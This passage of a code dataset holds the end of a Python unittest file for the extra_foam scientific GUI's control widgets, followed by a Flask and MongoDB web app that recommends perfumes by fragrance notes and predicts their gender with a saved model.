self.assertEqual(ppt, widget._table.cellWidget(0, 2).text())\n            proc.update()\n            src = f\"{device_id} {ppt}\" if device_id and ppt else \"\"\n            self.assertEqual(src, proc._source)\n            self.assertTrue(proc._reset)\n\n            # change resolution\n            proc._reset = False\n            self.assertIsInstance(proc._correlation, SimplePairSequence)\n            self.assertIsInstance(proc._correlation_slave, SimplePairSequence)\n            widget._table.cellWidget(idx, 3).setText(str(1.0))\n            proc.update()\n            self.assertEqual(1.0, proc._resolution)\n            self.assertIsInstance(proc._correlation, OneWayAccuPairSequence)\n            self.assertIsInstance(proc._correlation_slave, OneWayAccuPairSequence)\n            # sequence type change will not have 'reset'\n            self.assertFalse(proc._reset)\n            widget._table.cellWidget(idx, 3).setText(str(2.0))\n            proc.update()\n            self.assertEqual(2.0, proc._resolution)\n            self.assertTrue(proc._reset)\n\n            # test reset button\n            proc._reset = False\n            widget._reset_btn.clicked.emit()\n            proc.update()\n            self.assertTrue(proc._reset)\n\n        # test loading meta data\n        mediator = widget._mediator\n        mediator.onCorrelationAnalysisTypeChange(AnalysisType.UNDEFINED)\n        if config[\"TOPIC\"] == \"FXE\":\n            motor_id = 'FXE_SMS_USR/MOTOR/UM01'\n        else:\n            motor_id = 'SCS_ILH_LAS/MOTOR/LT3'\n        mediator.onCorrelationParamChange((1, f'{motor_id} actualPosition', 0.0))\n        mediator.onCorrelationParamChange((2, 'ABC abc', 2.0))\n        widget.loadMetaData()\n        self.assertEqual(\"\", widget._analysis_type_cb.currentText())\n        self.assertEqual('Motor', widget._table.cellWidget(0, 0).currentText())\n        self.assertEqual(motor_id, widget._table.cellWidget(0, 1).currentText())\n        self.assertEqual('actualPosition', widget._table.cellWidget(0, 2).currentText())\n        self.assertEqual('0.0', widget._table.cellWidget(0, 3).text())\n        self.assertEqual(widget._user_defined_key, widget._table.cellWidget(1, 0).currentText())\n        self.assertEqual('ABC', widget._table.cellWidget(1, 1).text())\n        self.assertEqual('abc', widget._table.cellWidget(1, 2).text())\n        self.assertEqual('2.0', widget._table.cellWidget(1, 3).text())\n\n        mediator.onCorrelationParamChange((1, f'', 0.0))\n        widget.loadMetaData()\n        self.assertEqual('', widget._table.cellWidget(0, 0).currentText())\n        self.assertEqual('', widget._table.cellWidget(0, 1).text())\n        self.assertEqual('', widget._table.cellWidget(0, 2).text())\n\n    def testBinCtrlWidget(self):\n        from extra_foam.gui.ctrl_widgets.bin_ctrl_widget import (\n            _DEFAULT_N_BINS, _DEFAULT_BIN_RANGE, _N_PARAMS\n        )\n        _DEFAULT_BIN_RANGE = tuple([float(v) for v in _DEFAULT_BIN_RANGE.split(\",\")])\n        USER_DEFINED_KEY = config[\"SOURCE_USER_DEFINED_CATEGORY\"]\n\n        widget = self.gui.bin_ctrl_widget\n\n        analysis_types_inv = widget._analysis_types_inv\n        bin_modes_inv = widget._bin_modes_inv\n\n        for i in range(_N_PARAMS):\n            combo_lst = [widget._table.cellWidget(i, 0).itemText(j)\n                         for j in range(widget._table.cellWidget(i, 0).count())]\n            self.assertListEqual([\"\", \"Metadata\"]\n                                 + [k for k, v in config.control_sources.items() if v]\n                                 + [USER_DEFINED_KEY],\n                                 combo_lst)\n\n        train_worker = self.train_worker\n        proc = train_worker._binning_proc\n        proc.update()\n\n        # test default\n        self.assertEqual(AnalysisType.UNDEFINED, proc.analysis_type)\n        self.assertEqual(BinMode.AVERAGE, proc._mode)\n        self.assertEqual(\"\", proc._source1)\n        self.assertEqual(_DEFAULT_BIN_RANGE, proc._bin_range1)\n        self.assertEqual(int(_DEFAULT_N_BINS), proc._n_bins1)\n        self.assertEqual(\"\", proc._source2)\n        self.assertEqual(_DEFAULT_BIN_RANGE, proc._bin_range2)\n        self.assertEqual(int(_DEFAULT_N_BINS), proc._n_bins2)\n\n        # test analysis type and mode change\n        widget._analysis_type_cb.setCurrentText(analysis_types_inv[AnalysisType.PUMP_PROBE])\n        widget._mode_cb.setCurrentText(bin_modes_inv[BinMode.ACCUMULATE])\n        proc.update()\n        self.assertEqual(AnalysisType.PUMP_PROBE, proc.analysis_type)\n        self.assertEqual(BinMode.ACCUMULATE, proc._mode)\n\n        # test source change\n        for i in range(_N_PARAMS):\n            ctg, device_id, ppt = 'Metadata', \"META\", \"timestamp.tid\"\n            widget._table.cellWidget(i, 0).setCurrentText(ctg)\n            self.assertEqual(device_id, widget._table.cellWidget(i, 1).currentText())\n            self.assertEqual(ppt, widget._table.cellWidget(i, 2).currentText())\n            proc.update()\n            src = f\"{device_id} {ppt}\" if device_id and ppt else \"\"\n            self.assertEqual(src, getattr(proc, f\"_source{i+1}\"))\n\n            # just test we can set a motor source\n            widget._table.cellWidget(i, 0).setCurrentText(\"Motor\")\n            proc.update()\n\n            ctg, device_id, ppt = USER_DEFINED_KEY, \"ABC\", \"efg\"\n            widget._table.cellWidget(i, 0).setCurrentText(ctg)\n            self.assertEqual('', widget._table.cellWidget(i, 1).text())\n            self.assertEqual('', widget._table.cellWidget(i, 2).text())\n            widget._table.cellWidget(i, 1).setText(device_id)\n            widget._table.cellWidget(i, 2).setText(ppt)\n            self.assertEqual(device_id, widget._table.cellWidget(0, 1).text())\n            self.assertEqual(ppt, widget._table.cellWidget(0, 2).text())\n            proc.update()\n            src = f\"{device_id} {ppt}\" if device_id and ppt else \"\"\n            self.assertEqual(src, getattr(proc, f\"_source{i+1}\"))\n\n        # test bin range and number of bins change\n\n        # bin parameter 1\n        widget._table.cellWidget(0, 3).setText(\"0, 10\")  # range\n        widget._table.cellWidget(0, 4).setText(\"5\")  # n_bins\n        widget._table.cellWidget(1, 3).setText(\"-4, inf\")  # range\n        widget._table.cellWidget(1, 4).setText(\"2\")  # n_bins\n        proc.update()\n        self.assertEqual(5, proc._n_bins1)\n        self.assertTupleEqual((0, 10), proc._bin_range1)\n        self.assertEqual(2, proc._n_bins2)\n        self.assertTupleEqual((-4, np.inf), proc._bin_range2)\n\n        # test \"reset\" button\n        proc._reset = False\n        widget._reset_btn.clicked.emit()\n        proc.update()\n        self.assertTrue(proc._reset)\n\n        # test \"Auto level\" button\n        binning_action = self.gui._tool_bar.actions()[8]\n        self.assertEqual(\"Binning\", binning_action.text())\n        binning_action.trigger()\n        win = list(self.gui._plot_windows.keys())[-1]\n        win._bin1d_vfom._auto_level = False\n        win._bin2d_value._auto_level = False\n        win._bin2d_count._auto_level = False\n        QTest.mouseClick(widget._auto_level_btn, Qt.LeftButton)\n        self.assertTrue(win._bin1d_vfom._auto_level)\n        self.assertTrue(win._bin2d_value._auto_level)\n        self.assertTrue(win._bin2d_count._auto_level)\n        win.close()\n\n        # test loading meta data\n        mediator = widget._mediator\n        mediator.onBinAnalysisTypeChange(AnalysisType.UNDEFINED)\n        mediator.onBinModeChange(BinMode.AVERAGE)\n        if config[\"TOPIC\"] == \"FXE\":\n            motor_id = 'FXE_SMS_USR/MOTOR/UM01'\n        else:\n            motor_id = 'SCS_ILH_LAS/MOTOR/LT3'\n        mediator.onBinParamChange((1, f'{motor_id} actualPosition', (-9, 9), 5))\n        mediator.onBinParamChange((2, 'ABC abc', (-19, 19), 15))\n        widget.loadMetaData()\n        self.assertEqual(\"\", widget._analysis_type_cb.currentText())\n        self.assertEqual(\"average\", widget._mode_cb.currentText())\n        self.assertEqual('Motor', widget._table.cellWidget(0, 0).currentText())\n        self.assertEqual(motor_id, widget._table.cellWidget(0, 1).currentText())\n        self.assertEqual('actualPosition', widget._table.cellWidget(0, 2).currentText())\n        self.assertEqual('-9, 9', widget._table.cellWidget(0, 3).text())\n        self.assertEqual('5', widget._table.cellWidget(0, 4).text())\n        self.assertEqual(widget._user_defined_key, widget._table.cellWidget(1, 0).currentText())\n        self.assertEqual('ABC', widget._table.cellWidget(1, 1).text())\n        self.assertEqual('abc', widget._table.cellWidget(1, 2).text())\n        self.assertEqual('-19, 19', widget._table.cellWidget(1, 3).text())\n        self.assertEqual('15', widget._table.cellWidget(1, 4).text())\n\n        mediator.onBinParamChange((1, f'', (-9, 9), 5))\n        widget.loadMetaData()\n        self.assertEqual('', widget._table.cellWidget(0, 0).currentText())\n        self.assertEqual('', widget._table.cellWidget(0, 1).text())\n        self.assertEqual('', widget._table.cellWidget(0, 2).text())\n\n    def testHistogramCtrlWidget(self):\n        widget = self.gui.histogram_ctrl_widget\n        train_worker = self.train_worker\n        proc = train_worker._histogram\n        proc.update()\n\n        analysis_types = {value: key for key, value in\n                          widget._analysis_types.items()}\n\n        self.assertEqual(AnalysisType.UNDEFINED, proc.analysis_type)\n        self.assertTrue(proc._pulse_resolved)\n        self.assertEqual(10, proc._n_bins)\n        self.assertEqual((-np.inf, np.inf), proc._bin_range)\n\n        widget._analysis_type_cb.setCurrentText(analysis_types[AnalysisType.ROI_FOM])\n        proc.update()\n        self.assertTrue(proc._reset)\n        self.assertEqual(AnalysisType.ROI_FOM_PULSE, proc.analysis_type)\n\n        proc._reset = False\n        widget._pulse_resolved_cb.setChecked(False)  # switch to train-resolved\n        widget._analysis_type_cb.setCurrentText(analysis_types[AnalysisType.ROI_FOM])\n        proc.update()\n        self.assertTrue(proc._reset)\n        self.assertEqual(AnalysisType.ROI_FOM, proc.analysis_type)\n\n        widget._n_bins_le.setText(\"100\")\n        widget._bin_range_le.setText(\"-1, 2\")\n        proc.update()\n        self.assertEqual((-1, 2), proc._bin_range)\n        self.assertEqual(100, proc._n_bins)\n\n        proc._reset = False\n        widget._reset_btn.clicked.emit()\n        proc.update()\n        self.assertTrue(proc._reset)\n\n        # test loading meta data\n        mediator = widget._mediator\n        mediator.onHistAnalysisTypeChange(AnalysisType.UNDEFINED)\n        mediator.onHistBinRangeChange((-10, 10))\n        mediator.onHistNumBinsChange(55)\n        mediator.onHistPulseResolvedChange(True)\n        widget.loadMetaData()\n        self.assertEqual(\"\", widget._analysis_type_cb.currentText())\n        self.assertEqual(\"-10, 10\", widget._bin_range_le.text())\n        self.assertEqual(\"55\", widget._n_bins_le.text())\n        self.assertEqual(True, widget._pulse_resolved_cb.isChecked())\n\n    @patch('extra_foam.gui.ctrl_widgets.PumpProbeCtrlWidget.'\n           'updateMetaData', MagicMock(return_value=True))\n    @patch('extra_foam.gui.ctrl_widgets.HistogramCtrlWidget.'\n           'updateMetaData', MagicMock(return_value=True))\n    @patch('extra_foam.gui.ctrl_widgets.AzimuthalIntegCtrlWidget.'\n           'updateMetaData', MagicMock(return_value=True))\n    @patch('extra_foam.gui.ctrl_widgets.DataSourceWidget.'\n           'updateMetaData', MagicMock(return_value=True))\n    @patch('extra_foam.gui.ctrl_widgets.PumpProbeCtrlWidget.onStart', Mock())\n    @patch('extra_foam.gui.ctrl_widgets.HistogramCtrlWidget.onStart', Mock())\n    @patch('extra_foam.gui.ctrl_widgets.AzimuthalIntegCtrlWidget.onStart', Mock())\n    @patch('extra_foam.gui.ctrl_widgets.PumpProbeCtrlWidget.onStop', Mock())\n    @patch('extra_foam.gui.ctrl_widgets.HistogramCtrlWidget.onStop', Mock())\n    @patch('extra_foam.gui.ctrl_widgets.AzimuthalIntegCtrlWidget.onStop', Mock())\n    def testStartStop(self):\n        start_spy = QSignalSpy(self.gui.start_sgn)\n        stop_spy = QSignalSpy(self.gui.stop_sgn)\n\n        # -------------------------------------------------------------\n        # test when the start action button is clicked\n        # -------------------------------------------------------------\n\n        start_action = self.gui._tool_bar.actions()[0]\n        stop_action = self.gui._tool_bar.actions()[1]\n\n        start_action.trigger()\n\n        # test a ctrl widget own by the ImageToolWindow\n        azimuthal_integ_ctrl_widget = self.gui._image_tool._azimuthal_integ_1d_view._ctrl_widget\n        geometry_ctrl_widget = self.gui._image_tool._geometry_view._ctrl_widget\n        pump_probe_ctrl_widget = self.gui.pump_probe_ctrl_widget\n        histogram_ctrl_widget = self.gui.histogram_ctrl_widget\n        source_ctrl_widget = self.gui._source_cw\n\n        azimuthal_integ_ctrl_widget.updateMetaData.assert_called_once()\n        pump_probe_ctrl_widget.updateMetaData.assert_called_once()\n        histogram_ctrl_widget.updateMetaData.assert_called_once()\n        source_ctrl_widget.updateMetaData.assert_called_once()\n\n        self.assertEqual(1, len(start_spy))\n\n        pump_probe_ctrl_widget.onStart.assert_called_once()\n        histogram_ctrl_widget.onStart.assert_called_once()\n        azimuthal_integ_ctrl_widget.onStart.assert_called_once()\n\n        self.assertFalse(start_action.isEnabled())\n        self.assertTrue(stop_action.isEnabled())\n        self.assertFalse(source_ctrl_widget._con_view.isEnabled())\n        self.assertFalse(geometry_ctrl_widget.isEnabled())\n\n        self.assertTrue(self.train_worker.running)\n        self.assertTrue(self.pulse_worker.running)\n\n        # -------------------------------------------------------------\n        # test when the stop action button is clicked\n        # -------------------------------------------------------------\n\n        stop_action.trigger()\n\n        pump_probe_ctrl_widget.onStop.assert_called_once()\n        histogram_ctrl_widget.onStop.assert_called_once()\n        azimuthal_integ_ctrl_widget.onStop.assert_called_once()\n\n        self.assertEqual(1, len(stop_spy))\n\n        self.assertTrue(start_action.isEnabled())\n        self.assertFalse(stop_action.isEnabled())\n        self.assertTrue(source_ctrl_widget._con_view.isEnabled())\n        self.assertTrue(geometry_ctrl_widget.isEnabled())\n\n        self.assertFalse(self.train_worker.running)\n        self.assertFalse(self.pulse_worker.running)\n\n    def testOpenCloseWindows(self):\n        actions = self.gui._tool_bar.actions()\n\n        poi_action = actions[4]\n        self.assertEqual(\"Pulse-of-interest\", poi_action.text())\n        pp_action = actions[5]\n        self.assertEqual(\"Pump-probe\", pp_action.text())\n        correlation_action = actions[6]\n        self.assertEqual(\"Correlation\", correlation_action.text())\n        histogram_action = actions[7]\n        self.assertEqual(\"Histogram\", histogram_action.text())\n        binning_action = actions[8]\n        self.assertEqual(\"Binning\", binning_action.text())\n\n        pp_window = self._check_open_window(pp_action)\n        self.assertIsInstance(pp_window, PumpProbeWindow)\n\n        correlation_window = self._check_open_window(correlation_action)\n        self.assertIsInstance(correlation_window, CorrelationWindow)\n\n        binning_window = self._check_open_window(binning_action)\n        self.assertIsInstance(binning_window, BinningWindow)\n\n        histogram_window = self._check_open_window(histogram_action)\n        self.assertIsInstance(histogram_window, HistogramWindow)\n\n        poi_window = self._check_open_window(poi_action)\n        self.assertIsInstance(poi_window, PulseOfInterestWindow)\n        # open one window twice\n        self._check_open_window(poi_action, registered=False)\n\n        self._check_close_window(pp_window)\n        self._check_close_window(correlation_window)\n        self._check_close_window(binning_window)\n        self._check_close_window(histogram_window)\n        self._check_close_window(poi_window)\n\n        # if a plot window is closed, it can be re-openned and a new instance\n        # will be created\n        pp_window_new = self._check_open_window(pp_action)\n        self.assertIsInstance(pp_window_new, PumpProbeWindow)\n        self.assertIsNot(pp_window_new, pp_window)\n\n    def testOpenCloseSatelliteWindows(self):\n        actions = self.gui._tool_bar.actions()\n        about_action = actions[-1]\n        streamer_action = actions[-2]\n\n        about_window = self._check_open_satellite_window(about_action)\n        self.assertIsInstance(about_window, AboutWindow)\n\n        streamer_window = self._check_open_satellite_window(streamer_action)\n        self.assertIsInstance(streamer_window, FileStreamWindow)\n\n        # open one window twice\n        self._check_open_satellite_window(about_action, registered=False)\n\n        self._check_close_satellite_window(about_window)\n        self._check_close_satellite_window(streamer_window)\n\n        # if a window is closed, it can be re-opened and a new instance\n        # will be created\n        about_window_new = self._check_open_satellite_window(about_action)\n        self.assertIsInstance(about_window_new, AboutWindow)\n        self.assertIsNot(about_window_new, about_window)\n\n    def _check_open_window(self, action, registered=True):\n        \"\"\"Check triggering action about opening a window.\n\n        :param bool registered: True for the new window is expected to be\n            registered; False for the old window will be activate and thus\n            no new window will be registered.\n        \"\"\"\n        n_registered = len(self.gui._plot_windows)\n        action.trigger()\n        if registered:\n            window = list(self.gui._plot_windows.keys())[-1]\n            self.assertEqual(n_registered+1, len(self.gui._plot_windows))\n            return window\n\n        self.assertEqual(n_registered, len(self.gui._plot_windows))\n\n    def _check_close_window(self, window):\n        n_registered = len(self.gui._plot_windows)\n        window.close()\n        self.assertEqual(n_registered-1, len(self.gui._plot_windows))\n\n    def _check_open_satellite_window(self, action, registered=True):\n        \"\"\"Check triggering action about opening a satellite window.\n\n        :param bool registered: True for the new window is expected to be\n            registered; False for the old window will be activate and thus\n            no new window will be registered.\n        \"\"\"\n        n_registered = len(self.gui._satellite_windows)\n        action.trigger()\n        if registered:\n            window = list(self.gui._satellite_windows.keys())[-1]\n            self.assertEqual(n_registered+1, len(self.gui._satellite_windows))\n            return window\n\n        self.assertEqual(n_registered, len(self.gui._satellite_windows))\n\n    def _check_close_satellite_window(self, window):\n        n_registered = len(self.gui._satellite_windows)\n        window.close()\n        self.assertEqual(n_registered-1, len(self.gui._satellite_windows))\n\n\nclass TestJungFrauMainGuiCtrl(unittest.TestCase):\n    @classmethod\n    def setUpClass(cls):\n        config.load('JungFrau', 'FXE')\n\n        cls.foam = Foam().init()\n\n        cls.gui = cls.foam._gui\n        cls.pulse_worker = cls.foam.pulse_worker\n        cls.train_worker = cls.foam.train_worker\n\n    @classmethod\n    def tearDownClass(cls):\n        cls.foam.terminate()\n\n        wait_until_redis_shutdown()\n\n        os.remove(config.config_file)\n\n    def setUp(self):\n        self.assertTrue(self.gui.updateMetaData())\n\n    def testAnalysisCtrlWidget(self):\n        widget = self.gui.analysis_ctrl_widget\n        image_proc = self.pulse_worker._image_proc\n\n        image_proc.update()\n        for i, idx in enumerate(image_proc._poi_indices):\n            self.assertFalse(widget._poi_index_les[i].isEnabled())\n            self.assertEqual(0, idx)  # test default values\n\n        # test loading meta data\n        # Test if the meta data is invalid.\n        mediator = widget._mediator\n        mediator.onPoiIndexChange(0, 22)\n        mediator.onPoiIndexChange(1, 33)\n        widget.loadMetaData()\n        self.assertEqual(\"0\", widget._poi_index_les[0].text())\n        self.assertEqual(\"0\", widget._poi_index_les[1].text())\n\n    def testPumpProbeCtrlWidget(self):\n        widget = self.gui.pump_probe_ctrl_widget\n        pp_proc = self.pulse_worker._pp_proc\n\n        self.assertFalse(widget._on_pulse_le.isEnabled())\n        self.assertFalse(widget._off_pulse_le.isEnabled())\n\n        all_modes = widget._available_modes_inv\n\n        # we only test train-resolved detector specific configuration\n\n        pp_proc.update()\n        self.assertEqual(PumpProbeMode.UNDEFINED, pp_proc._mode)\n        self.assertEqual(slice(None, None), pp_proc._indices_on)\n        self.assertEqual(slice(None, None), pp_proc._indices_off)\n\n        spy = QSignalSpy(widget._mode_cb.currentTextChanged)\n\n        widget._mode_cb.setCurrentText(all_modes[PumpProbeMode.EVEN_TRAIN_ON])\n        self.assertEqual(1, len(spy))\n\n        pp_proc.update()\n        self.assertEqual(PumpProbeMode(PumpProbeMode.EVEN_TRAIN_ON), pp_proc._mode)\n        self.assertEqual(slice(None, None), pp_proc._indices_on)\n        self.assertEqual(slice(None, None), pp_proc._indices_off)\n\n        widget._mode_cb.setCurrentText(all_modes[PumpProbeMode.REFERENCE_AS_OFF])\n        self.assertEqual(2, len(spy))\n        # test on_pulse_le is still disabled, which will become enabled if the\n        # detector is pulse-resolved\n        self.assertFalse(widget._on_pulse_le.isEnabled())\n\n        # PumpProbeMode.SAME_TRAIN is not available\n        self.assertNotIn(PumpProbeMode.SAME_TRAIN, all_modes)\n\n        # test loading meta data\n        # test if the meta data is invalid\n        mediator = widget._mediator\n        mediator.onPpOnPulseSlicerChange([0, None, 2])\n        mediator.onPpOffPulseSlicerChange([0, None, 2])\n        widget.loadMetaData()\n        self.assertEqual(\":\", widget._on_pulse_le.text())\n        self.assertEqual(\":\", widget._off_pulse_le.text())\n\n        mediator.onPpModeChange(PumpProbeMode.SAME_TRAIN)\n        with self.assertRaises(KeyError):\n            widget.loadMetaData()\n\n    def testFomFilterCtrlWidget(self):\n        widget = self.gui.fom_filter_ctrl_widget\n        filter_pulse = self.pulse_worker._filter\n        filter_train = self.train_worker._filter\n\n        # test default\n\n        self.assertFalse(widget._pulse_resolved_cb.isChecked())\n        self.assertFalse(widget._pulse_resolved_cb.isEnabled())\n\n        filter_pulse.update()\n        self.assertEqual(AnalysisType.UNDEFINED, filter_pulse.analysis_type)\n        self.assertTupleEqual((-np.inf, np.inf), filter_pulse._fom_range)\n        filter_train.update()\n        self.assertEqual(AnalysisType.UNDEFINED, filter_pulse.analysis_type)\n        self.assertTupleEqual((-np.inf, np.inf), filter_pulse._fom_range)\n\n        # test set new\n\n        widget._analysis_type_cb.setCurrentText(widget._analysis_types_inv[AnalysisType.ROI_FOM])\n        widget._fom_range_le.setText(\"-2, 2\")\n        filter_pulse.update()\n        self.assertEqual(AnalysisType.UNDEFINED, filter_pulse.analysis_type)\n        self.assertEqual((-np.inf, np.inf), filter_pulse._fom_range)\n        filter_train.update()\n        self.assertEqual(AnalysisType.ROI_FOM, filter_train.analysis_type)\n        self.assertTupleEqual((-2, 2), filter_train._fom_range)\n\n        # test loading meta data\n        # test if the meta data is invalid\n        mediator = widget._mediator\n        mediator.onFomFilterPulseResolvedChange(True)\n        widget.loadMetaData()\n        self.assertEqual(False, widget._pulse_resolved_cb.isChecked())\n\n    def testHistogramCtrlWidget(self):\n        widget = self.gui.histogram_ctrl_widget\n\n        # test default\n\n        self.assertFalse(widget._pulse_resolved_cb.isChecked())\n        self.assertFalse(widget._pulse_resolved_cb.isEnabled())\n\n        # test loading meta data\n        # test if the meta data is invalid\n        mediator = widget._mediator\n        mediator.onHistPulseResolvedChange(True)\n        widget.loadMetaData()\n        self.assertEqual(False, widget._pulse_resolved_cb.isChecked())\n","sub_path":"extra_foam/gui/tests/test_main_gui.py","file_name":"test_main_gui.py","file_ext":"py","file_size_in_byte":36931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"588660746","text":"import os\nimport csv\nimport requests\nimport json\nimport pandas as pd\nimport numpy as np\nfrom flask import Flask, render_template, request, jsonify\nfrom flask_pymongo import PyMongo\nfrom pymongo import MongoClient\nimport joblib\n\n#################################################\n# Flask Setup\n#################################################\n\napp = Flask(__name__)\napp.config.update(\n    DEBUG=True,\n)\n\n#################################################\n# Database Setup\n#################################################\n# setup mongo connection\n\napp.config[\"MONGO_URI\"] = \"mongodb://localhost:27017/perfumes_db\"\n# app.config[\"MONGO_URI\"] = \"mongodb+srv://<dbName>:<password>@cluster0.s0gp3.mongodb.net/rescue_angels_db?retryWrites=true&w=majority\"\n\nmongo = PyMongo(app)\n\n#################################################\n# Flask Routes\n#################################################\n\n\n@app.route(\"/\")\ndef home():\n    return render_template(\"index.html\")\n\n\n@app.route(\"/find_your_scent\")\ndef find_your_scent():\n    return render_template(\"find_your_scent.html\")\n\n\n@app.route(\"/perfume_notes\")\ndef pefume_notes():\n    perfume_notes = list(mongo.db.notes_features.find({}, {'_id': False}))\n    # print(perfume_notes)\n    return jsonify(perfume_notes)\n\n@app.route(\"/find_perfume_by_notes\", methods=[\"POST\"])\ndef find_perfume_by_notes():\n    #  get the list of all notes\n    features_list = request.get_json()\n    # initialize lists for each note type\n    top_notes_list = []\n    middle_notes_list = []\n    base_notes_list = []\n\n    # find the note and assign to correct list\n    for note in features_list:\n        #  top notes\n        top_x = note.rsplit(\"top_note_\", 1)\n        if len(top_x) == 2:\n            top_notes_list.append(top_x[1])\n            #  middle notes\n        middle_x = note.rsplit(\"middle_note_\", 1)\n        if len(middle_x) == 2:\n            middle_notes_list.append(middle_x[1])\n        # base notes\n        base_x = note.rsplit(\"base_note_\", 1)\n        if len(base_x) == 2:\n            base_notes_list.append(base_x[1])\n    unique_top_notes = list(set(top_notes_list))\n    unique_middle_notes = list(set(middle_notes_list))\n    unique_base_notes = list(set(base_notes_list))\n    \n    # search for perfumes for given notes\n    if unique_top_notes:\n        if unique_middle_notes:\n            if unique_base_notes:\n                # top, middle and base notes\n                perfumes = list(mongo.db.perfume_data.find({ '$and' : [ {\"top notes\" : {'$in' : unique_top_notes}} , {\"middle notes\" : {'$in' : unique_middle_notes}} , {\"base notes\" : {'$in' : unique_base_notes}} ]},{'_id': False}))\n            else:\n                # top and middle notes\n                perfumes = list(mongo.db.perfume_data.find({ '$and' : [ {\"top notes\" : {'$in' : unique_top_notes}} , {\"middle notes\" : {'$in' : unique_middle_notes}} ]},{'_id': False}))\n        else:\n            if unique_base_notes:\n                # top and base notes\n                perfumes = list(mongo.db.perfume_data.find({ '$and' : [ {\"top notes\" : {'$in' : unique_top_notes}} , {\"base notes\" : {'$in' : unique_base_notes}} ]},{'_id': False}))\n            else:\n                # top notes\n                perfumes = list(mongo.db.perfume_data.find({ '$or' : [ {\"top notes\" : {'$in' : unique_top_notes}} ]},{'_id': False}))\n    else:\n        if unique_middle_notes:\n            if unique_base_notes:\n                # middle and base notes\n                perfumes = list(mongo.db.perfume_data.find({ '$and' : [ {\"middle notes\" : {'$in' : unique_middle_notes}} , {\"base notes\" : {'$in' : unique_base_notes}} ]},{'_id': False}))\n            else:\n                # middle notes\n                perfumes = list(mongo.db.perfume_data.find({ '$and' : [ {\"middle notes\" : {'$in' : unique_middle_notes}} ]},{'_id': False}))\n        else:            \n            if unique_base_notes:\n                # base notes\n                perfumes = list(mongo.db.perfume_data.find({ '$and' : [ {\"base notes\" : {'$in' : unique_base_notes}} ]},{'_id': False}))\n            else:\n                # no notes\n                perfumes = []\n\n    # print(perfumes)\n    return jsonify(perfumes)\n\n@app.route(\"/perfume_predict2\", methods=[\"POST\"])\ndef perfume_predict2():\n    features_list = request.get_json()\n    print(features_list)\n    # If features list is not empty\n    if features_list:\n        # Get al lthe features from MongoDB\n        perfume_features = pd.DataFrame(list(mongo.db.perfume_features.find({},{'_id': False})))\n        print(perfume_features.columns)\n\n        # if feature is in the feature list, replace value with 1\n        for feature in features_list:\n            perfume_features[feature] = 1\n\n        # load the perfume_gender model\n        filename = 'static/Resources/gender_perfume_model.sav'\n        perfume_gender_model = joblib.load(filename)\n\n        print(perfume_features.columns)\n        # use the model to predict\n        result = perfume_gender_model.predict(perfume_features)\n        print(result)\n        return jsonify(result[0])\n\n\n# @app.route(\"/perfume_predict\", methods=[\"POST\", \"GET\"])\n# def perfume_predict():\n\n#     # Initialize features list\n#     features_list = []\n#     # Find the number of Top Notes\n#     top_note_count = int(request.form[\"top-note-count\"])\n#     print(top_note_count)\n#     # Find all the selected top notes\n#     for i in range(top_note_count):\n#         print(i)\n#         top_count_ID = \"topNote\" + str(i)\n#         print(top_count_ID)\n#         top_note = request.form[top_count_ID]\n#         if top_note:\n#             top_note_str = \"top_note_\" + top_note\n#             features_list.append(top_note_str)\n    \n#     # Find the number of Middle Notes\n#     middle_note_count = int(request.form[\"middle-note-count\"])\n#     # Find all the selected middle notes\n#     for i in range(middle_note_count):\n#         middle_count_ID = \"middleNote\" + str(i)\n#         middle_note = request.form[middle_count_ID]\n#         if middle_note:\n#             middle_note_str = \"middle_note_\" + middle_note\n#             features_list.append(middle_note_str)\n\n#     # Find the number of Base Notes\n#     base_note_count = int(request.form[\"base-note-count\"])\n#     # Find all the selected base notes\n#     for i in range(base_note_count):\n#         base_count_ID = \"baseNote\" + str(i)\n#         base_note = request.form[base_count_ID]\n#         if base_note:\n#             base_note_str = \"base_note_\" + base_note\n#             features_list.append(base_note_str)\n\n#     # If features list is not empty\n#     if features_list:\n#         # Get al lthe features from MongoDB\n#         perfume_features = pd.DataFrame(list(mongo.db.perfume_features.find({},{'_id': False})))\n#         print(perfume_features.columns)\n\n#         # if feature is in the feature list, replace value with 1\n#         for feature in features_list:\n#             perfume_features[feature] = 1\n\n#         # load the perfume_gender model\n#         filename = 'static/Resources/gender_perfume_model.sav'\n#         perfume_gender_model = joblib.load(filename)\n\n#         print(perfume_features.columns)\n#         # use the model to predict\n#         result = perfume_gender_model.predict(perfume_features)\n#         print(result)\n\n#         return render_template(\"find_your_scent.html\", result=result[0])\n\n\n@app.route(\"/test\")\ndef test():\n    return render_template(\"form_test.html\")\n\n# # testing coding form\n\n\n# @app.route(\"perfume_form_test\", methods=[\"POST\", \"GET\"])\n# def perfume_form_test():\n#     if request.method == 'POST':\n#        as_dict = request.form.getlist('top-note-count')\n\n\n# # user input list\n#     features = [xxxxx, xxxxx, xxxxx, xxxxx, xxxx, xxxxx, xxxxxxx, xxxxx]\n#     final_features = [np.array(features)]\n#     final_shape = np.reshape(final_features, (1, -1))\n# # load model\n#     model = load(\"placeholder\")\n#     prediction = model.predict(final_shape)\n# #to decide on output page ...\n#     if prediction == 1:\n#         return render_template(\"placeholder.html\")\n#     else:\n#         return render_template(\"placeholder.html\")\n\n\n@app.route(\"/perfume_info\")\ndef perfume_info():\n    return render_template(\"perfume_info.html\")\n\n\n@app.route(\"/visualizations\")\ndef visualizations():\n    return render_template(\"visualizations.html\")\n\n\n@app.route(\"/about\")\ndef about():\n    return render_template(\"about.html\")\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n","sub_path":"webapp/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
